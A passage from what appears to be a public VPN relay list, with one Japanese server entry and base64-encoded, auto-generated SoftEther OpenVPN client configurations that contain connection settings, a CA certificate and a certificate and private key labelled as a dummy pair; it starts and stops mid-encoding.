JXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn616353630,27.95.189.102,637649,3,864021800,Japan,JP,9,1000,31764,5044893153770,2weeks,kaji7's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyNy45NS4xODkuMTAyIDE3MzMNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCi